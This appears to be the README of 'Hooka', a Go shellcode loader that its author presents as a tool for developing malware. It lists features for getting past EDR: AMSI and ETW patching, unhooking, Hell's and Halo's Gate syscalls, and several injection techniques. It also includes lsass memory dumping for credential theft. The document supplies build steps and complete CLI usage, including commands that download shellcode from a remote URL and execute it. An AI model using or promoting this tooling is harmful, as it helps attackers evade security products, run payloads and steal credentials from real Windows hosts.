I started this project to create a powerful shellcode loader with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hell's and Galo's Gate techniques and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful. If you have any question feel free to open an issue or whatever you want.

However I've also taken some code from BananaPhone and Doge-Gabh projects (thanks a lot to C-Sto and timwhitez)

Tested on x64, Windows 10

Features

Get shellcode from remote URL or local file
Shellcode reflective DLL injection (sRDI)
AMSI and ETW patch
Detects hooked functions (i.e. NtCreateThread)
Compatible with base64 and hex encoded shellcode
Hell's Gate + Halo's Gate technique
Capable of unhooking functions via multiple techniques:
- Classic unhooking
- Full DLL unhooking
- Perun's Fart technique
Multiple shellcode injection techniques:
- CreateRemoteThread
- Fibers
- CreateProcess
- EarlyBirdAPC
- UuidFromString
Dump lsass.exe process to a file
Windows API hashing (see here)
Test mode (injects a calc.exe shellcode)

Usage

Before using the project you should know that there are some functions from ntdll.dll that aren't usually hooked but they always appear to be hooked. Here you have all false positives:

NtGetTickCount
NtQuerySystemTime
NtdllDefWindowProc_A
NtdllDefWindowProc_W
NtdllDialogWndProc_A
NtdllDialogWndProc_W
ZwQuerySystemTime

Just clone the repository like this:

git clone https://github.com/D3Ext/Hooka
cd Hooka
go build .

 by D3Ext - v0.1

  -amsi
        overwrite AmsiScanBuffer memory address to patch AMSI (Anti Malware Scan Interface)
  -b64
        decode base64 encoded shellcode
  -dll string
        path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)
  -etw
        overwrite EtwEventWrite memory address to patch ETW (Event Tracing for Windows)
  -file string
        path to file where shellcode is stored
  -halos
        use Hell's Gate and Halo's Gate to resolve syscalls (not all injection techniques are covered)
  -hex
        decode hex encoded shellcode
  -hooks
        dinamically detect hooked functions by EDR
  -lsass string
        dump lsass.exe process memory into a file to extract credentials (run as admin)
  -t string
        shellcode injection technique: CreateRemoteThread, Fibers, CreateProcess, EarlyBirdApc, UuidFromString (default: random)
  -test
        test shellcode injection capabilities by spawning a calc.exe
  -unhook int
        overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart
  -url string
        remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)

Detect hooked functions by EDR (including false positives)

.\Hooka.exe --hooks

Test shellcode injection by spawning a calc.exe

.\Hooka.exe --test

If no technique is especified it will use a random one

Inject shellcode from URL

.\Hooka.exe --url http://192.168.116.37/shellcode.bin

Inject shellcode from file

.\Hooka.exe --file shellcode.bin

Decode shellcode as hex or base64

.\Hooka.exe --file shellcode.bin --hex
.\Hooka.exe --file shellcode.bin --b64

Use Hell's Gate + Halo's Gate to bypass AVs/EDRs

.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells

Unhook function before injecting shellcode

.\Hooka.exe --file shellcode.bin --unhook 3

Patch AMSI and/or ETW

.\Hooka.exe --url http://192.168.116.37/shellcode.bin --amsi
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --etw

As you can see Hooka provides a lot of CLI flags to help you in all kind of situations

Demo

Detecting hooks

Injecting shellcode via CreateRemoteThread technique

Injecting shellcode using custom flags

Test function

Dump lsass memory

TODO

🔲 Stable API for CLR functions

🔲 More injection techniques

🔲 --pid flag to handle process injection

🔲 Integrated Seatbelt.exe using CLR

🔲 Test unhooking functions against EDRs

Library
